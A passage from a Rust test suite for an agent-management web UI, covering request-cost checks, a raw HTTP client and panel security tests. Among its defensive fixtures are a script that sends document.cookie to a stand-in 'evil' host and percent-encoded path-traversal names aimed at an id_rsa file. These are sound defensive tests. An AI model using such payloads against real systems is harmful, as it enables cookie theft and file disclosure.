11754                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11755                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11756                assert!(
11757                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11758                    "{path}: {cost:?}"
11759                );
11760                costs.push(cost);
11761            }
11762            if let Some(previous) = previous {
11763                assert_eq!(costs, previous);
11764            }
11765            previous = Some(costs);
11766        }
11767        // runs reads shared row inputs and probes process liveness; queue
11768        // builds one blocker inventory; notifications reads its own store.
11769        // None discovers configuration or spawns git per item.
11770    }
11771
11772    /// The same handler path without transport, so the deterministic cause
11773    /// can also be checked in environments that prohibit binding sockets.
11774    #[tokio::test]
11775    async fn list_handler_cost_without_transport() {
11776        let (_tmp, repos) = performance_repositories().await;
11777        let fx = Fixture {
11778            home: TempDir::new().unwrap(),
11779            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11780        };
11781        let ui = Arc::new(
11782            Ui::new(
11783                fx.queue(),
11784                fx.questions(),
11785                fx.talks(),
11786                fx.runs(),
11787                fx.home.path().to_path_buf(),
11788                repos[0].clone(),
11789            )
11790            .with_worktrees_root(fx.home.path().join("wt")),
11791        );
11792        let mut previous = None;
11793        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11794            seed_performance(&fx, &repos, n, runs, items);
11795            let mut costs = Vec::new();
11796            for endpoint in ["questions", "talks", "health", "stats"] {
11797                for repo in &repos {
11798                    let cache = repo.join(".git/magi/config");
11799                    if cache.exists() {
11800                        std::fs::remove_dir_all(cache).unwrap();
11801                    }
11802                }
11803                let (_, cost) = request_cost::measure(async {
11804                    match endpoint {
11805                        "questions" => {
11806                            let _ = questions_list(State(ui.clone())).await.unwrap();
11807                        }
11808                        "talks" => {
11809                            let _ = talks_list(
11810                                State(ui.clone()),
11811                                Query(ListQuery {
11812                                    limit: None,
11813                                    ids: None,
11814                                }),
11815                                header::HeaderMap::new(),
11816                            )
11817                            .await
11818                            .unwrap();
11819                        }
11820                        "health" => {
11821                            let _ = health(State(ui.clone())).await.unwrap();
11822                        }
11823                        _ => {
11824                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11825                                .await
11826                                .unwrap();
11827                        }
11828                    }
11829                })
11830                .await;
11831                eprintln!("{endpoint} handler N={n}: {cost:?}");
11832                assert_eq!(
11833                    cost.0,
11834                    if matches!(endpoint, "talks" | "health") {
11835                        0
11836                    } else {
11837                        1
11838                    },
11839                    "{endpoint}"
11840                );
11841                assert!(
11842                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11843                    "{endpoint}: {cost:?}"
11844                );
11845                costs.push(cost);
11846            }
11847            if let Some(previous) = previous {
11848                assert_eq!(costs, previous);
11849            }
11850            previous = Some(costs);
11851        }
11852    }
11853
11854    #[tokio::test]
11855    async fn list_request_cost_scopes_do_not_mix() {
11856        let (_tmp, repos, fx) = performance_fixture().await;
11857        seed_performance(&fx, &repos, 10, 0, 10);
11858        let (questions, talks, notices) = tokio::join!(
11859            fx.get("/api/questions"),
11860            fx.get("/api/talks"),
11861            fx.get("/api/notifications")
11862        );
11863        assert_eq!(request_counts(&questions).0, 1);
11864        // Cached summaries perform no config discovery or git work, even
11865        // alongside the questions request that still discovers config.
11866        assert_eq!(request_counts(&talks), (0, 0));
11867        assert_eq!(request_counts(&notices), (0, 0));
11868    }
11869
11870    #[tokio::test]
11871    async fn list_endpoints_large_home_responses() {
11872        check_large_home_endpoints(false).await;
11873    }
11874
11875    #[tokio::test]
11876    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11877    async fn list_endpoints_large_home_ceiling() {
11878        check_large_home_endpoints(true).await;
11879    }
11880
11881    async fn check_large_home_endpoints(timed: bool) {
11882        let (_tmp, repos, fx) = performance_fixture().await;
11883        seed_performance(&fx, &repos, 200, 300, 400);
11884        let mut failures = Vec::new();
11885        // app.js boot/change loads plus the initial dashboard, settings and
11886        // repo picker. SSE is a persistent stream, not a bounded GET.
11887        for path in [
11888            "/",
11889            "/app.js",
11890            "/app.css",
11891            "/api/questions",
11892            "/api/runs?limit=300",
11893            "/api/queue",
11894            "/api/talks",
11895            "/api/notifications",
11896            "/api/health",
11897            "/api/stats",
11898            "/api/loop",
11899            "/api/settings",
11900            "/api/repos",
11901        ] {
11902            let start = std::time::Instant::now();
11903            let result = if timed {
11904                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11905            } else {
11906                Ok(fx.get(path).await)
11907            };
11908            let elapsed = start.elapsed();
11909            eprintln!("{path}: {elapsed:?}");
11910            match result {
11911                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11912                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11913                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11914            }
11915        }
11916        assert!(failures.is_empty(), "{}", failures.join("\n"));
11917    }
11918
11919    struct Res {
11920        status: u16,
11921        headers: String,
11922        /// The header block with its original casing, for the assertions that
11923        /// compare a header *value* rather than looking for a name. Lowercasing
11924        /// a CSP would hide a directive spelled with a capital letter, and the
11925        /// whole point of that test is that the string is exactly right.
11926        head: String,
11927        body: String,
11928        /// The body before any UTF-8 handling, for the routes that serve
11929        /// something other than text. A panel asset is a PNG as often as not,
11930        /// and `from_utf8_lossy` would silently replace half of it.
11931        bytes: Vec<u8>,
11932    }
11933
11934    impl Res {
11935        fn json(&self) -> Value {
11936            serde_json::from_str(&self.body)
11937                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11938        }
11939
11940        /// One header's value verbatim, or `None` when it was not sent.
11941        fn header(&self, name: &str) -> Option<&str> {
11942            self.head.lines().find_map(|line| {
11943                let (key, value) = line.split_once(':')?;
11944                key.trim()
11945                    .eq_ignore_ascii_case(name)
11946                    .then(|| value.trim_start().trim_end_matches('\r'))
11947            })
11948        }
11949    }
11950
11951    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11952    /// be read to end-of-stream without parsing framing.
11953    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11954        request_with(addr, method, path, body, &[]).await
11955    }
11956
11957    /// As [`request`], with extra request headers - conditional GETs need
11958    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11959    /// worse than one that sets none.
11960    async fn request_with(
11961        addr: SocketAddr,
11962        method: &str,
11963        path: &str,
11964        body: Option<&str>,
11965        extra: &[(&str, &str)],
11966    ) -> Res {
11967        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11968        for (name, value) in extra {
11969            head.push_str(&format!("{name}: {value}\r\n"));
11970        }
11971        if let Some(body) = body {
11972            head.push_str("Content-Type: application/json\r\n");
11973            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11974        }
11975        head.push_str("\r\n");
11976        if let Some(body) = body {
11977            head.push_str(body);
11978        }
11979        let mut socket = tokio::net::TcpStream::connect(addr)
11980            .await
11981            .expect("connect to the test server");
11982        socket
11983            .write_all(head.as_bytes())
11984            .await
11985            .expect("write request");
11986        let mut raw = Vec::new();
11987        socket.read_to_end(&mut raw).await.expect("read response");
11988        // Split on the raw bytes rather than on a lossy string, so a binary
11989        // body survives to be compared byte for byte.
11990        let split = raw
11991            .windows(4)
11992            .position(|w| w == b"\r\n\r\n")
11993            .expect("a header block");
11994        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11995        let bytes = raw[split + 4..].to_vec();
11996        let status = head
11997            .lines()
11998            .next()
11999            .and_then(|line| line.split_whitespace().nth(1))
12000            .and_then(|code| code.parse().ok())
12001            .expect("a status line");
12002        Res {
12003            status,
12004            headers: head.to_lowercase(),
12005            head,
12006            body: String::from_utf8_lossy(&bytes).into_owned(),
12007            bytes,
12008        }
12009    }
12010
12011    /// A `POST` carrying a raw binary body and its own headers, for the
12012    /// attachment upload route - `request_with` only ever sends
12013    /// `Content-Type: application/json`, which is wrong for an image and
12014    /// would corrupt anything not valid UTF-8 by round-tripping it through
12015    /// `&str` first.
12016    async fn request_bytes(
12017        addr: SocketAddr,
12018        path: &str,
12019        headers: &[(&str, &str)],
12020        body: &[u8],
12021    ) -> Res {
12022        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12023        for (name, value) in headers {
12024            head.push_str(&format!("{name}: {value}\r\n"));
12025        }
12026        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12027        let mut socket = tokio::net::TcpStream::connect(addr)
12028            .await
12029            .expect("connect to the test server");
12030        socket
12031            .write_all(head.as_bytes())
12032            .await
12033            .expect("write request head");
12034        socket.write_all(body).await.expect("write request body");
12035        let mut raw = Vec::new();
12036        socket.read_to_end(&mut raw).await.expect("read response");
12037        let split = raw
12038            .windows(4)
12039            .position(|w| w == b"\r\n\r\n")
12040            .expect("a header block");
12041        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12042        let bytes = raw[split + 4..].to_vec();
12043        let status = head
12044            .lines()
12045            .next()
12046            .and_then(|line| line.split_whitespace().nth(1))
12047            .and_then(|code| code.parse().ok())
12048            .expect("a status line");
12049        Res {
12050            status,
12051            headers: head.to_lowercase(),
12052            head,
12053            body: String::from_utf8_lossy(&bytes).into_owned(),
12054            bytes,
12055        }
12056    }
12057
12058    /// A run on disk, without touching the process-global magi home.
12059    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12060        let mut state = RunState::new(
12061            PathBuf::from("/repo/magi"),
12062            "main".to_owned(),
12063            "0123456789abcdef".to_owned(),
12064            "Add a web UI\n\nMobile first.".to_owned(),
12065            Config::default(),
12066        );
12067        state.id = id.to_owned();
12068        state.status = status;
12069        let dir = runs.join(id);
12070        std::fs::create_dir_all(&dir).expect("run dir");
12071        std::fs::write(
12072            dir.join("run.json"),
12073            serde_json::to_string_pretty(&state).expect("serialize run"),
12074        )
12075        .expect("write run.json");
12076    }
12077
12078    /// Same as [`write_run`], but against a named repository rather than the
12079    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12080    /// spread across more than one.
12081    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12082        let mut state = RunState::new(
12083            PathBuf::from(repo),
12084            "main".to_owned(),
12085            "0123456789abcdef".to_owned(),
12086            "task".to_owned(),
12087            Config::default(),
12088        );
12089        state.id = id.to_owned();
12090        state.status = status;
12091        let dir = runs.join(id);
12092        std::fs::create_dir_all(&dir).expect("run dir");
12093        std::fs::write(
12094            dir.join("run.json"),
12095            serde_json::to_string_pretty(&state).expect("serialize run"),
12096        )
12097        .expect("write run.json");
12098    }
12099
12100    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12101        let body = serde_json::json!({
12102            "schema": 1,
12103            "pid": 4242,
12104            "started_at": Timestamp::now().to_string(),
12105            "updated_at": updated_at.to_string(),
12106            "idle": false,
12107            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12108            "completed": 7,
12109            "polls": 143,
12110        });
12111        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12112    }
12113
12114    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12115    ///
12116    /// No test in this file may start the real loop - see [`Ui::launch`] for
12117    /// why - so this stands in for the only thing the routes need a loop to
12118    /// do: keep running until `Stop` is set, then return. A real
12119    /// `serve_until` here would resolve its queue and its status file through
12120    /// the process-global magi home, claim whatever it found in the
12121    /// operator's live backlog, overwrite the status file of the `magi serve`
12122    /// that owns it, and spend real agent quota on a real competition.
12123    fn launch_idle(
12124        _opts: daemon::Opts,
12125        stop: daemon::Stop,
12126    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12127        Box::pin(async move {
12128            while !stop.stopped() {
12129                tokio::time::sleep(Duration::from_millis(2)).await;
12130            }
12131            Ok(())
12132        })
12133    }
12134
12135    /// A loop that fails on the way up, the way one whose home has gone
12136    /// read-only does.
12137    fn launch_broken(
12138        _opts: daemon::Opts,
12139        _stop: daemon::Stop,
12140    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12141        // The stand-in dies instantly, so a restarted one can record its own
12142        // failure before the start's response is read. The second attempt
12143        // therefore fails with a different message, to tell a stale error
12144        // from a fresh one.
12145        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12146        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12147        Box::pin(async move {
12148            Err(anyhow::anyhow!(if first {
12149                "publish the daemon status file: read-only file system"
12150            } else {
12151                "the restarted stand-in failed as well"
12152            }))
12153        })
12154    }
12155
12156    /// The loop view once `want` accepts it.
12157    ///
12158    /// Polled rather than asserted straight after the POST because stopping
12159    /// is deliberately not instant - that is the contract - and rather than
12160    /// slept through because a fixed wait is either flaky or slow.
12161    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12162    /// finite, so a genuine hang fails the test instead of hanging the
12163    /// suite.
12164    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12165        for _ in 0..SETTLE_STEPS {
12166            let view = fx.get("/api/loop").await.json();
12167            if want(&view) {
12168                return view;
12169            }
12170            tokio::time::sleep(Duration::from_millis(10)).await;
12171        }
12172        panic!(
12173            "the loop never settled: {}",
12174            fx.get("/api/loop").await.json()
12175        );
12176    }
12177
12178    /// File an open question directly in the store the server reads.
12179    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12180        let store = fx.questions();
12181        let mut q = Question::new(
12182            "20260902-000000-beef".to_owned(),
12183            "implement".to_owned(),
12184            "impl-A".to_owned(),
12185            summary.to_owned(),
12186            "because it matters".to_owned(),
12187            choices.iter().map(|c| (*c).to_owned()).collect(),
12188        );
12189        store.put(&mut q).expect("put question");
12190        q.id
12191    }
12192
12193    /// A question with a panel the server can serve, plus the named assets.
12194    ///
12195    /// Written through `Questions::put_panel` rather than by laying out the
12196    /// directory here, so these tests exercise the same on-disk shape the
12197    /// agents produce and cannot pass against a layout only the tests know.
12198    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12199        let store = fx.questions();
12200        let mut q = Question::new(
12201            "20260902-000000-beef".to_owned(),
12202            "land".to_owned(),
12203            "fix".to_owned(),
12204            "Merge this?".to_owned(),
12205            "the diff is in the panel".to_owned(),
12206            vec!["merge".to_owned(), "hold".to_owned()],
12207        );
12208        // Staged outside the questions root, because `put_panel` copies from
12209        // wherever the agent left its files.
12210        let staging = fx.home.path().join("staging");
12211        std::fs::create_dir_all(&staging).expect("staging dir");
12212        let sources: Vec<PathBuf> = assets
12213            .iter()
12214            .map(|(name, bytes)| {
12215                let path = staging.join(name);
12216                std::fs::write(&path, bytes).expect("write staged asset");
12217                path
12218            })
12219            .collect();
12220        store
12221            .put_panel(&mut q, html, &sources)
12222            .expect("write the panel");
12223        store.put(&mut q).expect("put question");
12224        q.id
12225    }
12226
12227    /// A talk on disk, without talking to a model.
12228    ///
12229    /// Written as JSON straight into the store the server reads, because the
12230    /// only constructor `talk::begin` offers takes no turn but still requires
12231    /// a real caller-visible flow. The one thing this cannot make up is the
12232    /// seat, so it is built with the real `SeatState::new` and serialized -
12233    /// the alternative, hand-writing that object, would make these tests fail
12234    /// the day the seat gains a field.
12235    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12236        seed_talk_at(&fx.talks(), id, status)
12237    }
12238
12239    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12240        std::fs::create_dir_all(store.root()).expect("talks dir");
12241        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12242            .expect("serialize a seat");
12243        let body = serde_json::json!({
12244            "schema": 1,
12245            "id": id,
12246            "repo": "/repo/magi",
12247            "agent": "mock",
12248            "status": status,
12249            "turns": [],
12250            "created_at": Timestamp::now().to_string(),
12251            "updated_at": Timestamp::now().to_string(),
12252            "seat": seat,
12253        });
12254        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12255        store.get(id).expect("the seeded talk has to be readable");
12256        id.to_owned()
12257    }
12258
12259    #[tokio::test]
12260    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12261        let fx = Fixture::start().await;
12262        let id = panel(
12263            &fx,
12264            "<h1>Merge?</h1><img src=\"diff.svg\">",
12265            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12266        );
12267
12268        for path in [
12269            format!("/api/questions/{id}/panel"),
12270            format!("/api/questions/{id}/asset/diff.svg"),
12271        ] {
12272            let res = fx.get(&path).await;
12273            assert_eq!(res.status, 200, "{path}: {}", res.body);
12274            // The whole string, not a substring. A weakened directive - an
12275            // `img-src *` that lets a panel beacon out to a remote host, a
12276            // `script-src` anything, a missing `form-action` that lets it post
12277            // the owner's decision to a third party - has to fail here, and a
12278            // `contains` assertion would let every one of those through.
12279            assert_eq!(
12280                res.header("content-security-policy"),
12281                Some(
12282                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12283                     font-src data:; base-uri 'none'; form-action 'none'; \
12284                     frame-ancestors 'self'"
12285                ),
12286                "{path} is the only thing between a hostile panel and the tailnet"
12287            );
12288            assert_eq!(
12289                res.header("x-content-type-options"),
12290                Some("nosniff"),
12291                "{path}: a browser must not re-decide the type we sent"
12292            );
12293            assert_eq!(
12294                res.header("referrer-policy"),
12295                Some("no-referrer"),
12296                "{path}: a panel must not leak the question id off the machine"
12297            );
12298
12299            // The front end mounts the frame only after a `HEAD` says the
12300            // panel is there, so `HEAD` has to answer with the same status and
12301            // the same policy as `GET` - a preflight that came back without
12302            // the CSP would mean a frame mounted on an unverified promise.
12303            let pre = fx.head(&path).await;
12304            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12305            assert_eq!(
12306                pre.header("content-security-policy"),
12307                res.header("content-security-policy"),
12308                "{path}: the preflight carries the same policy"
12309            );
12310            assert_eq!(
12311                pre.header("content-type"),
12312                res.header("content-type"),
12313                "{path}: the preflight carries the same type"
12314            );
12315        }
12316    }
12317
12318    #[tokio::test]
12319    async fn a_panel_reaches_the_browser_byte_for_byte() {
12320        let fx = Fixture::start().await;
12321        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12322        // tag, an entity, and a multi-byte character. The sandbox is what makes
12323        // this safe, so nothing here may be rewritten on the way out - a
12324        // rewritten diff is a diff the owner cannot trust.
12325        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12326        let id = panel(&fx, html, &[]);
12327
12328        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12329
12330        assert_eq!(res.status, 200);
12331        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12332        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12333        assert_eq!(
12334            res.header("content-disposition"),
12335            None,
12336            "the panel itself is rendered in the frame, not downloaded"
12337        );
12338    }
12339
12340    #[tokio::test]
12341    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12342        let fx = Fixture::start().await;
12343        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12344        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12345        let id = panel(
12346            &fx,
12347            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12348            &[("diff.svg", svg), ("shot.png", png)],
12349        );
12350
12351        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12352        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12353
12354        assert_eq!(as_svg.status, 200);
12355        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12356        // An SVG is XML that may carry script. Inside the panel it is an
12357        // `<img src>` and the script cannot run; opened at the top level it
12358        // would be a document on magi's own origin, so the browser is told to
12359        // download it instead of rendering it.
12360        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12361
12362        assert_eq!(as_png.status, 200);
12363        assert_eq!(as_png.header("content-type"), Some("image/png"));
12364        assert_eq!(
12365            as_png.header("content-disposition"),
12366            None,
12367            "a raster image has no execution surface, so tapping it still shows it"
12368        );
12369        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12370    }
12371
12372    #[tokio::test]
12373    async fn an_html_asset_is_never_served_as_html() {
12374        let fx = Fixture::start().await;
12375        let id = panel(
12376            &fx,
12377            "<p>see the notes</p>",
12378            &[
12379                (
12380                    "notes.html",
12381                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12382                ),
12383                ("hook.js", b"fetch('http://evil/')"),
12384                ("data.json", b"{}"),
12385                ("HEADLINE.TXT", b"plain"),
12386            ],
12387        );
12388
12389        for name in ["notes.html", "hook.js", "data.json"] {
12390            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12391            assert_eq!(res.status, 200, "{name}: {}", res.body);
12392            // Serving this as text/html would be a way to reach agent markup
12393            // at the top level of the operator's browser, outside the frame's
12394            // sandbox and outside its CSP - which is the whole thing the panel
12395            // design exists to prevent. Unlisted types are downloads.
12396            assert_eq!(
12397                res.header("content-type"),
12398                Some("application/octet-stream"),
12399                "{name} must not be a type the browser will execute or render"
12400            );
12401        }
12402        // The whitelist is matched case-insensitively, so an agent shouting the
12403        // extension still gets a readable file rather than a download.
12404        let txt = fx
12405            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12406            .await;
12407        assert_eq!(
12408            txt.header("content-type"),
12409            Some("text/plain; charset=utf-8")
12410        );
12411    }
12412
12413    #[tokio::test]
12414    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12415        let fx = Fixture::start().await;
12416        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12417        // Something outside the panel directory that a traversal would reach if
12418        // one got through, so a passing test is not merely "the file was
12419        // missing anyway".
12420        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12421
12422        // Decoded before this server's handler sees them: axum percent-decodes
12423        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12424        // string with a NUL in it. All three look like ordinary single-segment
12425        // filenames to the router, so the router passes them through and
12426        // `valid_asset_name` is what refuses them - for the literal `..`, and
12427        // for `/`, `\` and NUL not being in the permitted character set.
12428        for encoded in [
12429            "%2e%2e%2fid_rsa",
12430            "..%2fid_rsa",
12431            "..%5cid_rsa",
12432            "%2e%2e%5cid_rsa",
12433            "diff%00.svg",
12434            "..",
12435            ".hidden",
12436            "%2e%2e%2f%2e%2e%2fid_rsa",
12437        ] {
12438            let res = fx
12439                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12440                .await;
12441            assert_eq!(
12442                res.status, 400,
12443                "`{encoded}` has to be refused by name, not looked up: {}",
12444                res.body
12445            );
12446            assert!(res.json()["error"].is_string(), "{}", res.body);
12447        }
12448
12449        // Not decoded, and never this handler's problem: a real slash makes the
12450        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12451        // so axum's router has no route to match and answers before any code
12452        // here runs. Asserted so that a future route with a wildcard segment
12453        // cannot quietly open this door.
12454        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12455            let res = fx
12456                .get(&format!("/api/questions/{id}/asset/{literal}"))
12457                .await;
12458            assert_eq!(
12459                res.status, 404,
12460                "`{literal}` must not match the asset route at all: {}",
12461                res.body
12462            );
12463        }
12464    }
12465
12466    #[tokio::test]
12467    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12468        let fx = Fixture::start().await;
12469        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12470        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12471
12472        // A question nobody wrote a panel for. The client preflights with HEAD
12473        // and cannot see inside a sandboxed frame, so this must be a status and
12474        // not an empty page.
12475        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12476        assert_eq!(none.status, 404, "{}", none.body);
12477        assert!(none.json()["error"].is_string(), "{}", none.body);
12478        assert_eq!(
12479            fx.head(&format!("/api/questions/{plain}/panel"))
12480                .await
12481                .status,
12482            404,
12483            "the preflight is the only way the client can learn this"
12484        );
12485
12486        // A name that is perfectly legal and simply is not there.
12487        let missing = fx
12488            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12489            .await;
12490        assert_eq!(missing.status, 404, "{}", missing.body);
12491        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12492
12493        // A question that does not exist at all, on both routes.
12494        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12495        assert_eq!(
12496            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12497            404
12498        );
12499    }
12500
12501    #[tokio::test]
12502    async fn a_run_with_an_open_question_reads_as_waiting() {
12503        let fx = Fixture::start().await;
12504        let run = "20260902-000000-beef".to_owned();
12505        write_run(&fx.runs(), &run, RunStatus::Implementing);
12506
12507        let before = fx.get("/api/runs").await.json();
12508        assert_eq!(before[0]["waiting"], false, "{before}");
12509
12510        let store = fx.questions();
12511        let mut q = Question::new(
12512            run.clone(),
12513            "implement".to_owned(),
12514            "impl-A".to_owned(),
12515            "Which backend?".to_owned(),
12516            String::new(),
12517            vec!["SQLite".to_owned()],
12518        );
12519        store.put(&mut q).expect("put");
12520
12521        let during = fx.get("/api/runs").await.json();
12522        assert_eq!(during[0]["waiting"], true, "{during}");
12523
12524        // Answered: the run is moving again, and the flag has to follow without
12525        // anything having rewritten run.json.
12526        q.answer(Answer::Choice("SQLite".to_owned()))
12527            .expect("answer");
12528        store.put(&mut q).expect("put");
12529        let after = fx.get("/api/runs").await.json();
12530        assert_eq!(after[0]["waiting"], false, "{after}");
12531    }
12532
12533    #[tokio::test]
12534    async fn an_open_question_is_listed_and_counted_by_health() {
12535        let fx = Fixture::start().await;
12536        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12537
12538        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12539        let listed = fx.get("/api/questions").await.json();
12540        assert_eq!(listed.as_array().expect("array").len(), 1);
12541        assert_eq!(listed[0]["id"], id);
12542        assert_eq!(listed[0]["status"], "open");
12543        assert_eq!(listed[0]["choices"][1], "Redis");
12544        // The count is what makes the phone's indicator honest: it is the one
12545        // number meaning nothing will move until a human acts.
12546        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12547    }
12548
12549    fn obsolete_approval_state() -> RunState {
12550        let mut state = crate::land::tests::repair_state(true, true);
12551        state.pr = Some(crate::run::PrRecord {
12552            url: "https://github.com/example/repo/pull/42".into(),
12553            number: 42,
12554            state: "open".into(),
12555            checks: "green".into(),
12556            round: 1,
12557            rounds: 4,
12558            red_at_merge: Vec::new(),
12559        });
12560        state
12561    }
12562
12563    #[tokio::test]
12564    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12565        for owner in ["missing", "current", "completed", "later"] {
12566            let fx = Fixture {
12567                home: TempDir::new().unwrap(),
12568                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12569            };
12570            let mut state = obsolete_approval_state();
12571            state.status = RunStatus::Landing;
12572            state.parked = true;
12573            state.driver_exited = true;
12574            let mut q = Question::new(
12575                state.id.clone(),
12576                crate::land::APPROVAL_NODE.into(),
12577                "land".into(),
12578                "Old approval".into(),
12579                "Original evidence".into(),
12580                vec!["merge".into(), "hold".into()],
12581            );
12582            state.land_approval = Some(crate::run::LandApproval {
12583                question: q.id.clone(),
12584                head: "head".into(),
12585            });
12586            state.save_under(fx.home.path()).unwrap();
12587            let stale = state.clone();
12588            fx.questions().put(&mut q).unwrap();
12589            let mut task = Task::new(
12590                "Owner".into(),
12591                "Original instruction".into(),
12592                state.repo.clone(),
12593                Source::Human,
12594            );
12595            task.runs.push(state.id.clone());
12596            task.status = if owner == "completed" {
12597                TaskStatus::Done
12598            } else {
12599                TaskStatus::Parked
12600            };
12601            if owner == "later" {
12602                task.runs.push("later-run".into());
12603            }
12604            if owner != "missing" {
12605                fx.queue().put(&mut task).unwrap();
12606            }
12607            let ui = Arc::new(Ui::new(
12608                fx.queue(),
12609                fx.questions(),
12610                fx.talks(),
12611                fx.runs(),
12612                fx.home.path().into(),
12613                state.repo.clone(),
12614            ));
12615            let response = question_answer(
12616                State(ui),
12617                Path(q.id.clone()),
12618                Ok(Json(NewAnswer {
12619                    choice: Some(crate::merge_decision::DISMISS.into()),
12620                    text: None,
12621                    ..Default::default()
12622                })),
12623            )
12624            .await
12625            .unwrap();
12626            assert_eq!(
12627                response.0.question.resolution().as_deref(),
12628                Some(crate::merge_decision::DISMISS)
12629            );
12630            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12631            assert_eq!(disk.status, RunStatus::Superseded);
12632            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
12633            assert!(!crate::merge_decision::resumable_hold(&disk));
12634            assert_eq!(
12635                serde_json::to_value(&disk.pr).unwrap(),
12636                serde_json::to_value(&stale.pr).unwrap()
12637            );
12638            assert_eq!(fx.questions().count_open(), 0);
12639            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
12640            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12641            if owner == "missing" {
12642                assert!(fx.queue().list().is_empty());
12643            } else {
12644                let after = fx.queue().get(&task.id).unwrap();
12645                assert_eq!(
12646                    after.status,
12647                    if owner == "current" {
12648                        TaskStatus::Done
12649                    } else {
12650                        task.status
12651                    }
12652                );
12653                assert_eq!(after.runs, task.runs);
12654                assert_eq!(after.instruction, task.instruction);
12655                assert_eq!(after.action_applied(&q.id), owner == "current");
12656            }
12657        }
12658    }
12659
12660    #[tokio::test]
